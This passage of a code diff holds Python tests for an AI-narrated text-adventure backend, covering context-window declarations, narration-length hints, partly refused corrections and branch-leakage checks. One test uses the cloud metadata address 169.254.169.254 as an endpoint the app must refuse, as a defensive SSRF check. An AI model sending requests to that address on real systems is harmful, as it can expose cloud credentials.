setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="some-model", endpoint_url=UNREACHABLE,
|
||||
embedding_model="", context_token_budget=16384, max_output_tokens=800,
|
||||
))
|
||||
setup.commit()
|
||||
user_id = user.id
|
||||
setup.close()
|
||||
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
try:
|
||||
yield TestClient(app)
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def probe(endpoint=UNREACHABLE, model="some-model", declared=None):
|
||||
contextwindow.cache_clear()
|
||||
return asyncio.run(
|
||||
contextwindow.probe(endpoint, model, declared=declared, use_cache=False))
|
||||
|
||||
|
||||
# ------------------------------------------------------- filling the hole
|
||||
|
||||
def test_without_a_declaration_an_unaskable_server_leaves_the_window_unknown():
|
||||
window = probe()
|
||||
assert window.tokens is None
|
||||
assert not window.verified
|
||||
assert not window.enforceable
|
||||
assert window.source == contextwindow.UNKNOWN
|
||||
|
||||
|
||||
def test_a_declaration_becomes_the_ceiling_when_the_server_cannot_be_asked():
|
||||
window = probe(declared=8192)
|
||||
assert window.tokens == 8192
|
||||
assert window.source == contextwindow.DECLARED
|
||||
assert window.enforceable
|
||||
assert contextwindow.effective_budget(16384, window) == 8192
|
||||
|
||||
|
||||
def test_a_declaration_does_not_claim_the_server_was_verified():
|
||||
"""`window_verified` travels in every turn's provenance and the M11 report
|
||||
counts it. A declaration must not inflate that count."""
|
||||
window = probe(declared=8192)
|
||||
assert window.enforceable
|
||||
assert not window.verified
|
||||
|
||||
|
||||
def test_the_detail_says_the_number_came_from_settings():
|
||||
assert "declared in settings" in probe(declared=8192).detail
|
||||
|
||||
|
||||
@pytest.mark.parametrize("declared", [None, 0, -1])
|
||||
def test_a_missing_or_meaningless_declaration_changes_nothing(declared):
|
||||
window = probe(declared=declared)
|
||||
assert window.tokens is None
|
||||
assert window.source == contextwindow.UNKNOWN
|
||||
|
||||
|
||||
def test_a_declaration_still_applies_when_nothing_is_configured():
|
||||
window = asyncio.run(contextwindow.probe("", "", declared=4096))
|
||||
assert window.tokens == 4096
|
||||
assert window.source == contextwindow.DECLARED
|
||||
|
||||
|
||||
def test_a_declaration_applies_to_a_refused_endpoint_without_reaching_it():
|
||||
"""A refused address is a discovery failure like any other (ADR 011, H12).
|
||||
The declaration caps the prompt; it does not make the endpoint usable, and
|
||||
the turn is still refused where endpoints are enforced."""
|
||||
window = probe(endpoint="http://169.254.169.254/v1", declared=4096)
|
||||
assert window.source == contextwindow.DECLARED
|
||||
assert window.tokens == 4096
|
||||
|
||||
|
||||
# ------------------------------------------- a verified answer always wins
|
||||
|
||||
def test_a_verified_window_is_not_overridden(monkeypatch):
|
||||
"""The safety property. An operator may lower an unknown ceiling into
|
||||
existence; they may never raise one the server reported."""
|
||||
async def reported(endpoint, model):
|
||||
return contextwindow.Window(4096, contextwindow.LOADED, 32768, "real")
|
||||
|
||||
monkeypatch.setattr(contextwindow, "_ask", reported)
|
||||
window = probe(declared=32768)
|
||||
assert window.tokens == 4096
|
||||
assert window.source == contextwindow.LOADED
|
||||
assert window.verified
|
||||
assert contextwindow.effective_budget(16384, window) == 4096
|
||||
|
||||
|
||||
def test_a_declared_window_larger_than_the_budget_does_not_raise_it():
|
||||
window = probe(declared=200_000)
|
||||
assert contextwindow.effective_budget(16384, window) == 16384
|
||||
|
||||
|
||||
# --------------------------------------------------------------- plumbing
|
||||
|
||||
def test_the_override_is_readable_and_settable_through_the_api(client):
|
||||
assert client.get("/api/settings").json()["context_window_override"] is None
|
||||
|
||||
body = client.put("/api/settings",
|
||||
json={"context_window_override": 8192}).json()
|
||||
assert body["context_window_override"] == 8192
|
||||
|
||||
# And can be taken back off, which `exclude_unset` makes a real distinction:
|
||||
# sending null clears it, sending nothing leaves it alone.
|
||||
body = client.put("/api/settings", json={"temperature": 0.5}).json()
|
||||
assert body["context_window_override"] == 8192
|
||||
body = client.put("/api/settings",
|
||||
json={"context_window_override": None}).json()
|
||||
assert body["context_window_override"] is None
|
||||
|
||||
|
||||
@pytest.mark.parametrize("bad", [255, 200_001])
|
||||
def test_the_override_is_bounded_like_the_budget_it_caps(client, bad):
|
||||
assert client.put("/api/settings",
|
||||
json={"context_window_override": bad}).status_code == 422
|
||||
@@ -0,0 +1,358 @@
|
||||
"""M11: the post-M8 playtest findings, on the backend side.
|
||||
|
||||
Findings A and B are browser-only and are tested in `frontend/src/m11.test.jsx`.
|
||||
This file covers finding C, which is half a browser change and half a prompt
|
||||
change, and the structural fact finding D asks M11 to check first.
|
||||
|
||||
**Finding C, in one sentence:** the campaign's narration-length choice became an
|
||||
English sentence in the instructions and moved no number, while the numeric hint
|
||||
the model actually reads was derived from the *global* reply cap and therefore
|
||||
said the same thing — "must not exceed 506 words, and it should not stop short of
|
||||
about 177" — whether the reader chose brief, medium or long.
|
||||
|
||||
python -m pytest tests/test_m11_findings.py -v
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, bundle, limits, models
|
||||
from app.context import builder
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.main import app
|
||||
from app.narrative import model as nmodel
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11f@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="",
|
||||
context_token_budget=16384, max_output_tokens=800,
|
||||
))
|
||||
setup.commit()
|
||||
user_id = user.id
|
||||
setup.close()
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def _campaign(client, **fields):
|
||||
body = {"title": "Length", "opening": "Rain over Westhaven."} | fields
|
||||
response = client.post("/api/adventures", json=body)
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
return response.json()
|
||||
|
||||
|
||||
def _hint_for(length, cap=800):
|
||||
return builder.length_hint(cap, length)
|
||||
|
||||
|
||||
def _numbers(hint):
|
||||
import re
|
||||
return [int(n) for n in re.findall(r"\b(\d+)\b", hint)]
|
||||
|
||||
|
||||
# ------------------------------------------------ finding C: the defect itself
|
||||
|
||||
def test_the_three_lengths_no_longer_say_the_same_thing():
|
||||
"""The finding, as a test that would have failed before M11.
|
||||
|
||||
At the default 800-token cap every length produced the identical sentence.
|
||||
Now each produces a different ceiling, and they are ordered the way the
|
||||
words are.
|
||||
"""
|
||||
brief, medium, long = (_hint_for(x) for x in ("brief", "medium", "long"))
|
||||
assert brief != medium != long
|
||||
assert brief != long
|
||||
ceilings = [_numbers(h)[0] for h in (brief, medium, long)]
|
||||
assert ceilings == sorted(ceilings), ceilings
|
||||
assert len(set(ceilings)) == 3
|
||||
|
||||
|
||||
def test_a_campaign_with_no_preference_reads_exactly_as_it_did_before():
|
||||
"""No existing campaign's prompt changes under the migration.
|
||||
|
||||
The empty value is the pre-M11 behaviour, unchanged — which is what makes a
|
||||
backfill unnecessary rather than merely inconvenient.
|
||||
"""
|
||||
assert _hint_for("") == builder.length_hint(800)
|
||||
|
||||
|
||||
def test_the_reply_cap_still_wins_over_the_band():
|
||||
"""A long campaign on a small cap gets the cap's number, not the band's.
|
||||
|
||||
The cap is what the endpoint will actually emit, so a hint that asked for
|
||||
more would be asking for a truncated turn — and the state block is emitted
|
||||
last, so a truncated turn loses its state.
|
||||
"""
|
||||
long_on_small_cap = _hint_for("long", cap=300)
|
||||
assert _numbers(long_on_small_cap)[0] <= _numbers(builder.length_hint(300))[0]
|
||||
|
||||
|
||||
def test_the_band_narrows_rather_than_widens_the_cap():
|
||||
for length in ("brief", "medium", "long"):
|
||||
banded = _numbers(_hint_for(length, cap=800))[0]
|
||||
unbanded = _numbers(builder.length_hint(800))[0]
|
||||
assert banded <= unbanded, length
|
||||
|
||||
|
||||
def test_every_hint_still_protects_the_state_block():
|
||||
"""The invariant the old hint had, kept by the new one."""
|
||||
for length in ("", "brief", "medium", "long"):
|
||||
assert "state block" in _hint_for(length)
|
||||
|
||||
|
||||
def test_an_unknown_length_falls_back_rather_than_inventing_a_band():
|
||||
assert _hint_for("epic") == builder.length_hint(800)
|
||||
|
||||
|
||||
# ------------------------------------------- finding C: it reaches the prompt
|
||||
|
||||
def test_the_choice_is_stored_and_returned(client):
|
||||
campaign = _campaign(client, narration_length="brief")
|
||||
assert campaign["narration_length"] == "brief"
|
||||
assert client.get(f"/api/adventures/{campaign['id']}").json()[
|
||||
"narration_length"] == "brief"
|
||||
|
||||
|
||||
def test_the_choice_can_be_changed_afterwards(client):
|
||||
campaign = _campaign(client, narration_length="brief")
|
||||
updated = client.patch(f"/api/adventures/{campaign['id']}",
|
||||
json={"narration_length": "long"})
|
||||
assert updated.status_code == 200, updated.text[:300]
|
||||
assert updated.json()["narration_length"] == "long"
|
||||
|
||||
|
||||
def test_a_length_the_builder_cannot_serve_is_refused(client):
|
||||
"""A closed set, because an unknown value would silently mean 'no effect'."""
|
||||
response = client.post("/api/adventures", json={
|
||||
"title": "Bad", "opening": "x", "narration_length": "epic"})
|
||||
assert response.status_code == 422
|
||||
|
||||
|
||||
def test_the_stored_prompt_carries_the_campaigns_own_range(client):
|
||||
"""End to end: two campaigns, two choices, two different prompts."""
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
seen = {}
|
||||
for length in ("brief", "long"):
|
||||
campaign = _campaign(client, narration_length=length)
|
||||
ScriptedProvider.replies = ["The rain does not let up."]
|
||||
assert client.post(f"/api/adventures/{campaign['id']}/actions",
|
||||
json={"type": "do", "text": "look"}).status_code == 200
|
||||
with SessionLocal() as db:
|
||||
action = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == campaign["id"],
|
||||
models.Action.type == "ai")
|
||||
.options(undefer(models.Action.context_snapshot))
|
||||
.order_by(models.Action.id.desc()).first()
|
||||
)
|
||||
hint = next(s for s in action.context_snapshot["sections"]
|
||||
if s["label"] == "length_hint")
|
||||
seen[length] = _numbers(hint["text"])[0]
|
||||
assert seen["brief"] < seen["long"], seen
|
||||
|
||||
|
||||
def test_the_choice_travels_in_the_bundle(client):
|
||||
campaign = _campaign(client, narration_length="long")
|
||||
exported = client.get(f"/api/adventures/{campaign['id']}/export").json()
|
||||
assert exported["narrationLength"] == "long"
|
||||
copy_id = client.post("/api/adventures/import", json=exported).json()["id"]
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == "long"
|
||||
|
||||
|
||||
def test_a_bundle_naming_a_length_this_build_cannot_serve_drops_it(client):
|
||||
campaign = _campaign(client, narration_length="long")
|
||||
payload = client.get(f"/api/adventures/{campaign['id']}/export").json()
|
||||
payload["narrationLength"] = "cinematic"
|
||||
copy_id = client.post("/api/adventures/import", json=payload).json()["id"]
|
||||
# Empty rather than stored: a preference the builder ignores is
|
||||
# indistinguishable from the defect this milestone fixed.
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == ""
|
||||
|
||||
|
||||
def test_an_older_bundle_with_no_length_imports_unchanged(client):
|
||||
campaign = _campaign(client, narration_length="long")
|
||||
payload = client.get(f"/api/adventures/{campaign['id']}/export").json()
|
||||
del payload["narrationLength"]
|
||||
copy_id = client.post("/api/adventures/import", json=payload).json()["id"]
|
||||
assert client.get(f"/api/adventures/{copy_id}").json()["narration_length"] == ""
|
||||
|
||||
|
||||
# ------------------- C04: a correction that is partly refused says so (M11-1)
|
||||
|
||||
def test_a_partly_refused_correction_reports_what_did_not_apply(client):
|
||||
"""The defect the identity diagnostic surfaced, as a regression.
|
||||
|
||||
A correction of two changes where one names a location that does not exist:
|
||||
the good one lands, the bad one does not, and **before M11 the answer was an
|
||||
unqualified 201**. The reader was told nothing, and went on believing they
|
||||
had set a scene they had not.
|
||||
|
||||
`validate.py` already said this must not happen — "what is never allowed is
|
||||
a rejected event mutating anything, or **a rejection being silent**" — and
|
||||
the refusal was recorded on the proposal for the audit trail. What was
|
||||
missing was telling the person who made the correction. Partial application
|
||||
itself is deliberate and is unchanged: losing three good changes to one typo
|
||||
would be worse.
|
||||
"""
|
||||
campaign = _campaign(client)
|
||||
response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "mara",
|
||||
"entity_type": "character", "name": "Mara"},
|
||||
{"type": "set_scene", "summary": "In the hall.",
|
||||
"location": "nowhere", "present": ["mara"]},
|
||||
],
|
||||
"note": "one good, one bad",
|
||||
})
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
body = response.json()
|
||||
|
||||
# The good change landed.
|
||||
assert "mara" in body["document"]["entities"]
|
||||
# The bad one did not, and the caller is told which and why.
|
||||
assert body["document"].get("scene") in ({}, None)
|
||||
assert len(body["refused"]) == 1, body["refused"]
|
||||
refusal = body["refused"][0]
|
||||
assert refusal["event"]["type"] == "set_scene"
|
||||
assert refusal["reason"] == "unknown_reference"
|
||||
assert "nowhere" in refusal["detail"]
|
||||
|
||||
|
||||
def test_a_correction_that_fully_applies_reports_nothing_refused(client):
|
||||
"""The control: `refused` is empty when nothing was refused."""
|
||||
campaign = _campaign(client)
|
||||
response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [{"type": "create_entity", "entity": "mara",
|
||||
"entity_type": "character", "name": "Mara"}],
|
||||
"note": "",
|
||||
})
|
||||
assert response.status_code == 201
|
||||
assert response.json()["refused"] == []
|
||||
|
||||
|
||||
def test_a_wholly_refused_correction_is_still_a_400(client):
|
||||
"""Unchanged: nothing applied is an error, not a success with a note."""
|
||||
campaign = _campaign(client)
|
||||
response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [{"type": "set_scene", "summary": "x", "location": "nowhere"}],
|
||||
"note": "",
|
||||
})
|
||||
assert response.status_code == 400
|
||||
assert "nowhere" in response.json()["detail"]
|
||||
|
||||
|
||||
def test_the_refusal_is_still_recorded_for_the_audit_trail(client):
|
||||
"""The half that already worked keeps working: §8's proposal record."""
|
||||
campaign = _campaign(client)
|
||||
client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "mara",
|
||||
"entity_type": "character", "name": "Mara"},
|
||||
{"type": "set_scene", "summary": "In the hall.", "location": "nowhere"},
|
||||
],
|
||||
"note": "",
|
||||
})
|
||||
with SessionLocal() as db:
|
||||
# `detail` is deferred, so it is read inside the session — reading it
|
||||
# after the session closed is how the first version of this test failed.
|
||||
rows = [
|
||||
(p.status, repr(p.detail))
|
||||
for p in db.query(models.StateProposal).filter(
|
||||
models.StateProposal.adventure_id == campaign["id"]).all()
|
||||
]
|
||||
partial = [row for row in rows if row[0] == "partially_accepted"]
|
||||
assert partial, [row[0] for row in rows]
|
||||
# And the reason is on the record, not only the verdict.
|
||||
assert "nowhere" in partial[0][1]
|
||||
|
||||
|
||||
# --------------------------------- finding D: the structural fact to check first
|
||||
|
||||
def test_two_entities_may_still_share_a_display_name(client):
|
||||
"""Recorded, not fixed — and the distinction matters.
|
||||
|
||||
The finding says to check this first: the narrative state keys entities by
|
||||
the model-supplied id and `DUPLICATE_ENTITY` rejects only a repeated *key*,
|
||||
so two characters can be created with the same `name` and nothing says so.
|
||||
That is one of the finding's candidate failure modes.
|
||||
|
||||
It is **not** made an error here. Two people called Alice is an ordinary
|
||||
thing for a story to contain, and refusing it would refuse legitimate
|
||||
fiction to guard against a model mistake. What M11 adds instead is
|
||||
*detection*: `nmodel.duplicate_names` reports it, the identity diagnostic
|
||||
(`tools/m11_identity.py`) reads that report, and the reader's State panel
|
||||
can show it. This test pins the permissive behaviour so a later milestone
|
||||
changes it deliberately rather than by accident.
|
||||
"""
|
||||
campaign = _campaign(client)
|
||||
response = client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "alice_1",
|
||||
"entity_type": "character", "name": "Alice"},
|
||||
{"type": "create_entity", "entity": "alice_2",
|
||||
"entity_type": "character", "name": "Alice"},
|
||||
],
|
||||
"note": "two people, one name",
|
||||
})
|
||||
assert response.status_code == 201, response.text[:300]
|
||||
document = client.get(f"/api/adventures/{campaign['id']}/state").json()["document"]
|
||||
assert set(document["entities"]) >= {"alice_1", "alice_2"}
|
||||
|
||||
|
||||
def test_the_state_reports_a_shared_display_name(client):
|
||||
"""M11 adds the detection the finding asks for, without adding a refusal."""
|
||||
campaign = _campaign(client)
|
||||
client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "alice_1",
|
||||
"entity_type": "character", "name": "Alice"},
|
||||
{"type": "create_entity", "entity": "alice_2",
|
||||
"entity_type": "character", "name": "alice "},
|
||||
{"type": "create_entity", "entity": "roger",
|
||||
"entity_type": "character", "name": "Roger"},
|
||||
],
|
||||
"note": "",
|
||||
})
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, campaign["id"])
|
||||
clashes = nmodel.duplicate_names(adventure.narrative_state)
|
||||
# Case and surrounding space do not make two people different.
|
||||
assert clashes == {"alice": ["alice_1", "alice_2"]}
|
||||
|
||||
|
||||
def test_a_campaign_with_distinct_names_reports_nothing(client):
|
||||
campaign = _campaign(client)
|
||||
client.post(f"/api/adventures/{campaign['id']}/state/corrections", json={
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "a", "entity_type": "character",
|
||||
"name": "Alice"},
|
||||
{"type": "create_entity", "entity": "r", "entity_type": "character",
|
||||
"name": "Roger"},
|
||||
],
|
||||
"note": "",
|
||||
})
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, campaign["id"])
|
||||
assert nmodel.duplicate_names(adventure.narrative_state) == {}
|
||||
@@ -0,0 +1,417 @@
|
||||
"""M11 §13: E01-E04, all four at once, in one long campaign.
|
||||
|
||||
The E-series already has tests, and good ones — M6's corrective pass rewrote E03
|
||||
after an independent review found the first version passing while the defect was
|
||||
live. What none of them does is what the M11 brief asks for: exercise all four
|
||||
**together, in a single campaign, under realistic long-story conditions**, with
|
||||
state, memories, summaries, imported knowledge and a scene all live at once.
|
||||
|
||||
That matters because the four leaks share one mechanism — a head that moves and
|
||||
a lineage that decides what is still true — and a campaign that has only one of
|
||||
them cannot show the mechanism failing for one and holding for another. It also
|
||||
adds the dimension none of the earlier tests could have: M10's Scene Packet, the
|
||||
thing a future depiction would be built from, which has to answer for the active
|
||||
line exactly as the state does.
|
||||
|
||||
Four sentinels, one per class, each with a positive control on path A and a
|
||||
negative control on path B:
|
||||
|
||||
state a fact and a location established on the abandoned line
|
||||
memory a distinctive memory extracted from abandoned turns
|
||||
summary a summary **regenerated after the divergence** (M6-F1's shape)
|
||||
scene the location the abandoned line moved to, in the state *and* in
|
||||
the derived packet
|
||||
|
||||
python -m pytest tests/test_m11_leakage.py -v
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models, summaries
|
||||
from app.context import lineage
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.routers import adventures
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
#: One per leak class, so a failure names which boundary broke.
|
||||
STATE_SENTINEL = "the-abbey-seal-was-broken"
|
||||
MEMORY_SENTINEL = "GRIMWALD-CONFESSED-8821"
|
||||
SUMMARY_SENTINEL = "ABANDONED-OATH-SWORN-4416"
|
||||
SCENE_SENTINEL = "old_abbey_crypt"
|
||||
|
||||
|
||||
class Summariser:
|
||||
"""Carries the summary forward and folds in new events, as a real one does.
|
||||
|
||||
Copied in behaviour from `test_context_memory.CarryingSummariser` — the M6
|
||||
corrective pass established that a summariser which *discards* its seed
|
||||
cannot show the E03 defect, because the defect is in what the seed contains.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.seeds: list[str] = []
|
||||
|
||||
async def complete(self, system, user, *, max_tokens=600):
|
||||
if "Current story summary:" not in user:
|
||||
found = [s for s in (MEMORY_SENTINEL, SUMMARY_SENTINEL) if s in user]
|
||||
if found:
|
||||
return "MEM[" + " ".join(found) + "]"
|
||||
return "MEM[the road, and nothing sworn]"
|
||||
current = user.split("Current story summary:\n", 1)[1].split("\n\nNew events")[0]
|
||||
events = user.split("New events since the last update:\n", 1)[1].split(
|
||||
"\n\nUpdated summary:")[0]
|
||||
self.seeds.append(current.strip())
|
||||
carried = "" if current.strip() == "(none yet)" else current.strip() + " "
|
||||
return (carried + events.strip().replace("\n", " "))[:2000]
|
||||
|
||||
async def embed(self, texts):
|
||||
out = []
|
||||
for text in texts:
|
||||
out.append([
|
||||
1.0,
|
||||
1.0 if MEMORY_SENTINEL in text or "confess" in text.lower() else 0.0,
|
||||
1.0 if "road" in text.lower() else 0.0,
|
||||
])
|
||||
return out
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def summariser(monkeypatch):
|
||||
made = Summariser()
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: made)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: made)
|
||||
return made
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch, summariser):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m11leak@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="embed-test",
|
||||
context_token_budget=6000, max_output_tokens=400, memory_top_k=4,
|
||||
))
|
||||
adventure = models.Adventure(
|
||||
user_id=user.id, title="Continuity", memory_bank_enabled=True,
|
||||
auto_summarize=True,
|
||||
campaign_canon={"rules": ["The dead do not return."]},
|
||||
)
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="Rain over Westhaven, and the abbey bell tolling."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
# ----------------------------------------------------------------- helpers
|
||||
|
||||
def play(client, text, prose="The road bends on past the treeline.", events=None):
|
||||
ScriptedProvider.replies = [f"{prose}\n{state_block(events or [])}"]
|
||||
response = client.post(f"/api/adventures/{client.adv_id}/actions",
|
||||
json={"type": "do", "text": text})
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
assert '"error"' not in response.text, response.text[:300]
|
||||
|
||||
|
||||
def report(client) -> dict:
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/context")
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
return response.json()
|
||||
|
||||
|
||||
def prompt_of(report_: dict) -> str:
|
||||
return "\n".join(section["text"] for section in report_["sections"])
|
||||
|
||||
|
||||
def state_of(client) -> dict:
|
||||
return client.get(f"/api/adventures/{client.adv_id}/state").json()["document"]
|
||||
|
||||
|
||||
def packet_of(client) -> dict:
|
||||
response = client.get(f"/api/adventures/{client.adv_id}/scene-packet")
|
||||
assert response.status_code == 200, response.text[:300]
|
||||
return response.json()
|
||||
|
||||
|
||||
def head_of(client):
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
return adventure.head_branch_id, adventure.head_depth
|
||||
|
||||
|
||||
def settle(client, rounds=8):
|
||||
"""Runs the derived pass until it has caught up, as a played campaign would.
|
||||
|
||||
`MAX_MEMORIES_PER_RUN` is 5, so one call settles at most five blocks — a cap
|
||||
that exists so an imported campaign does not do all its catch-up inside one
|
||||
turn. A test that calls it once and then asserts on the summary is asserting
|
||||
against a half-settled campaign, which is how the first version of this file
|
||||
failed: path A's later turns, the ones carrying the summary sentinel, had
|
||||
not been summarised yet.
|
||||
"""
|
||||
for _ in range(rounds):
|
||||
before = _settled_marks(client)
|
||||
asyncio.run(memorybank.run_post_turn(client.adv_id))
|
||||
if _settled_marks(client) == before:
|
||||
return
|
||||
|
||||
|
||||
def _settled_marks(client):
|
||||
with SessionLocal() as db:
|
||||
return (
|
||||
db.query(models.Memory).filter(
|
||||
models.Memory.adventure_id == client.adv_id).count(),
|
||||
db.query(models.Summary).filter(
|
||||
models.Summary.adventure_id == client.adv_id).count(),
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def diverged(client, summariser):
|
||||
"""One campaign: a long path A holding all four sentinels, then a path B.
|
||||
|
||||
Returns what the positive controls established on A, so the negative
|
||||
controls on B can be asserted against something rather than against nothing.
|
||||
"""
|
||||
# ---- Path A. Long enough that summaries and memories are real. ----
|
||||
play(client, "arrive", events=[
|
||||
{"type": "create_entity", "entity": "aldric", "entity_type": "character",
|
||||
"name": "Aldric"},
|
||||
{"type": "create_entity", "entity": "grimwald", "entity_type": "character",
|
||||
"name": "Grimwald"},
|
||||
{"type": "create_entity", "entity": "tavern", "entity_type": "location",
|
||||
"name": "The Crooked Lantern"},
|
||||
{"type": "create_entity", "entity": SCENE_SENTINEL,
|
||||
"entity_type": "location", "name": "The abbey crypt"},
|
||||
{"type": "set_scene", "summary": "Aldric and Grimwald take the corner table.",
|
||||
"location": "tavern", "present": ["aldric", "grimwald"]},
|
||||
])
|
||||
for i in range(10):
|
||||
play(client, f"a{i}", prose=f"They talk on into the evening. [{i}]")
|
||||
|
||||
# The four sentinels, established together on the line that will be left.
|
||||
play(client, "the confession", prose=(
|
||||
f"Grimwald says it plainly: {MEMORY_SENTINEL}. They swear the "
|
||||
f"{SUMMARY_SENTINEL} on it."
|
||||
), events=[
|
||||
{"type": "add_fact", "subject": "grimwald", "predicate": "confessed",
|
||||
"object": "aldric", "fact_id": STATE_SENTINEL},
|
||||
{"type": "set_current_location", "entity": "aldric",
|
||||
"location": SCENE_SENTINEL},
|
||||
{"type": "set_scene",
|
||||
"summary": "Aldric stands in the abbey crypt, the seal broken.",
|
||||
"location": SCENE_SENTINEL, "present": ["aldric"]},
|
||||
])
|
||||
for i in range(10):
|
||||
play(client, f"a2{i}", prose=(
|
||||
f"The crypt is cold, and the {SUMMARY_SENTINEL} still stands. [{i}]"))
|
||||
settle(client)
|
||||
|
||||
before = {
|
||||
"report": report(client),
|
||||
"state": state_of(client),
|
||||
"packet": packet_of(client),
|
||||
"head": head_of(client),
|
||||
}
|
||||
with SessionLocal() as db:
|
||||
adventure = db.get(models.Adventure, client.adv_id)
|
||||
row = summaries.current(db, adventure)
|
||||
before["summary_id"] = row.id if row else None
|
||||
before["summary_text"] = row.text if row else ""
|
||||
|
||||
# ---- Move the head below every sentinel, then diverge. ----
|
||||
while head_of(client)[1] > 11:
|
||||
assert client.post(f"/api/adventures/{client.adv_id}/undo").status_code == 200
|
||||
summariser.seeds.clear()
|
||||
|
||||
# ---- Path B. Far enough that a NEW summary is generated (M6-F1). ----
|
||||
play(client, "b-turn", prose="Aldric leaves the table and takes the dry road.",
|
||||
events=[
|
||||
{"type": "set_current_location", "entity": "aldric", "location": "tavern"},
|
||||
{"type": "set_scene", "summary": "Aldric alone on the road out of town.",
|
||||
"location": "tavern", "present": ["aldric"]},
|
||||
])
|
||||
for i in range(14):
|
||||
play(client, f"b{i}", prose=f"A dry road, nothing sworn, nothing confessed. [{i}]")
|
||||
settle(client)
|
||||
|
||||
return {"before": before, "after": {
|
||||
"report": report(client),
|
||||
"state": state_of(client),
|
||||
"packet": packet_of(client),
|
||||
"head": head_of(client),
|
||||
}}
|
||||
|
||||
|
||||
# ------------------------------------------------------- positive controls
|
||||
|
||||
def test_path_a_really_established_all_four(diverged):
|
||||
"""Without this, every assertion below proves only that nothing happened."""
|
||||
before = diverged["before"]
|
||||
prompt = prompt_of(before["report"])
|
||||
|
||||
facts = [f.get("id") for f in before["state"].get("facts", [])]
|
||||
assert STATE_SENTINEL in facts, "the state sentinel was never established"
|
||||
assert before["state"]["scene"]["location"] == SCENE_SENTINEL
|
||||
assert before["packet"]["location"]["key"] == SCENE_SENTINEL
|
||||
assert before["summary_id"] is not None, "no summary was generated on path A"
|
||||
assert SUMMARY_SENTINEL in before["summary_text"], (
|
||||
"the fixture did not get the sentinel into path A's summary")
|
||||
